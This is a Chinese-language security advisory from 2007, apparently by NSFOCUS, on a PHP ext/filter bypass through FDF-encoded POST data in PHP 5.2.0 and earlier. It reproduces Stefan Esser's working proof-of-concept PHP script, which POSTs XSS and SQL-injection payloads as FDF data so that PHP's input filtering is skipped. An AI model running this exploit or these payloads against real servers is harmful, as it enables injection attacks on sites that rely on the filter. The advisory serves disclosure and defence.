安全研究

安全漏洞
PHP ext/filter FDF Post数据过滤绕过漏洞

发布日期:2007-03-10
更新日期:2007-03-12

受影响系统:
PHP PHP <= 5.2.0
描述:
BUGTRAQ  ID: 22906

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP新实现的ext/filter FDF扩展实现上存在漏洞,远程攻击者可能利用此绕过用户数据过滤,从而在服务器上执行各种注入攻击。

根据设计,PHP的内容过滤钩子会在所有解析用户输入并注册为变量的地方添加对输入过滤器的调用,以确定如何处理这些变量,但添加对其他POST内容类型支持的所有扩展也需要实现钩子,否则数据就会绕过过滤。如果安装了ext/fdf的话PHP就会捆绑一个对FDF POST数据格式的扩展,但没有调用输入过滤器,因此攻击者就可能绕过所强制的过滤机制,获得非授权访问。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:http://www.php-security.org/MOPB/MOPB-17-2007.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //            PHP ext/filter FDF POST Filter Bybass Exploit           //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // _POST is the array that will be sent to the url in $url
  $_POST = array();
  $_POST['var1'] = "<script>alert(/XSS/);</script>";
  $_POST['var2'] = " ' UNION SELECT ";

  $url = "http://127.0.0.1/info.php";  
  
  // You do not need to change anything below this
  
  $outfdf = fdf_create();
  foreach ($_POST as $key => $value) {
    fdf_set_value($outfdf, $key, $value, 0);
  }
  fdf_save($outfdf, "outtest.fdf");
  fdf_close($outfdf);
  
  $ret = file_get_contents("outtest.fdf");
  unlink("outtest.fdf");
  
  $params = array('http' => array(
      'method' => 'POST',
      'content' => $ret,
      'header' => 'Content-Type: application/vnd.fdf'
  ));
  
  $ctx = stream_context_create($params);
  $fp = @fopen($url, 'rb', false, $ctx);
  if (!$fp) {
    die("Cannot open $url");
  }
  $response = @stream_get_contents($fp);

  echo $response;
  echo "\n";
?>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:3065
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障